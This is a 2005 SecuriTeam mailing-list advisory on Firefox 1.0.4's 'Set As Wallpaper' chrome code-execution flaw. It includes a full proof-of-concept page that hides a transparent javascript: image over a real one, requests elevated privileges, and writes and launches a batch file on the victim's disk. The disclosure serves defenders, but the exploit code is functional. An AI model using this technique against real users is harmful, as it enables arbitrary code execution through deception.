[NEWS] Mozilla Firefox "Set As Wallpaper" Code Execution Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 07/13/05

  • Next message: SecuriTeam: "[EXPL] FutureSoft TFTP Server 2000 Remote Buffer Overflow Exploit" 
    To: list@securiteam.com
Date: 13 Jul 2005 21:25:56 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Mozilla Firefox "Set As Wallpaper" Code Execution Exploit
    ------------------------------------------------------------------------

    SUMMARY

     <> Mozilla Firefox is a free, cross-platform, graphical web browser
    developed by the Mozilla Foundation and hundreds of volunteers.

    An error in the handling of wallpapers in Mozilla Firefoxcould be
    exploited by attackers to run arbitary code on a vulnerable system by
    convincing a user to use the "Set As Wallpaper" context menu item on a
    specially crafted image.

    DETAILS

    Vulnerable Systems:
     * Mozilla Firefox version 1.0.4

    Immune Systems:
     * Mozilla Firefox version 1.0.5

    The "Set As Wallpaper" dialog takes the image url as a parameter without
    validating it. This allows to execute javascript in chrome and to run
    arbitrary code. By using absolute positioning and the moz-opacity filter
    an attacker can easily fool the user to think he is setting a valid image
    as wallpaper.

    Exploit Code:
    // Exploit by Michael Krax
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
    <head>
    <title>Firewalling - Proof-of-Concept</title>
    <script>
    function stopload() {
    // in some cases the javascript url never stops to load
    // therefore we force a stop after the real image got loaded
    window.setTimeout("window.stop()",1000);
    }
    </script>
    </head>
    <body>
    <div style="font-family:Verdana;font-size:11px;">

    <div style="font-family:Verdana;font-size:15px;font-weight:bold;">
    Firewalling - Proof-of-Concept</div>
    <div style="width:600px">
    The "Set As Wallpaper" dialog takes the image url as a parameter without
    validating it.
    This allows to execute javascript in chrome and to run arbitrary code.
    <br><br>
    By using absolute positioning and the moz-opacity filter an attacker can
    easily fool the
    user to think he is setting a valid image as wallpaper.
    <br><br>
    Right click on the image and choose "Set As Wallpaper". The demo requests
    UniversalXPConnect rights, creates c:\booom.bat and launches the batch
    file
    that shows a directoy listing in a dos box (Windows only).
    <br><br>

    <div style="position:relative; width:300px; height:250px;">
    <img
    src="javascript:/*-----------------------------*/eval('if(document.location.href.
    substr(0,6)==\'chrome\'){netscape.security.PrivilegeManager.enablePrivilege(\'
    UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].
    createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\
    booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
    420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;
    1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init
    (file,0x04|0x08|0x20,420,0);output=\'@ECHO
    OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE
    \\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch
    ();}else{void(0)}')" width="300" height="250" alt="" border="0"
    style="position:
    absolute; left:0px; top:0px; z-index:2; -moz-opacity:0;">
    <img src="image.png" width="300" height="250" alt="" border="0"
    style="position:
    absolute; left:0px; top:0px; z-index:1;" onload="stopload()">
    </div>
    </div>
    </body>

    </html>

    ADDITIONAL INFORMATION

    The original article can be found at:
    <http://www.frsirt.com/exploits/20050712.mfsa2005-47exploit.php>
    http://www.frsirt.com/exploits/20050712.mfsa2005-47exploit.php

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] FutureSoft TFTP Server 2000 Remote Buffer Overflow Exploit"

    Relevant Pages

    • [NEWS] Buffer Overflow in Mozilla Browser Firefox (Heap Corruption)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... corruption in the Mozilla browser as well as in Mozilla Firefox, ... The vulnerability specifically exists in string handling functions, ... pointing at a known memory location. ...
      (Securiteam)
    • [UNIX] PHPGedView Arbitrary Code Execution and Injection
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... PHPGedView Arbitrary Code Execution and Injection ... PHP code injection: ...
      (Securiteam)
    • [UNIX] Multiple UNIX/Linux Vendor Xpdf makeFileKey2 Stack Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Remote exploitation of a buffer overflow vulnerability in the xpdf PDF ... arbitrary code execution as the user viewing a PDF file. ...
      (Securiteam)
    • [NEWS] Cisco IOS Heap-based Overflow Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The Cisco Internetwork Operating System may permit arbitrary code ... Cisco IOS may be susceptible to remote code execution through attack ...
      (Securiteam)
    • [UNIX] Sun Microsystems Solaris srsexec Format String Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Sun Microsystems Solaris srsexec Format String Vulnerability ... all of the client machines being monitored and is set-uid root by default. ... attackers to execute arbitrary code with root privileges. ...
      (Securiteam)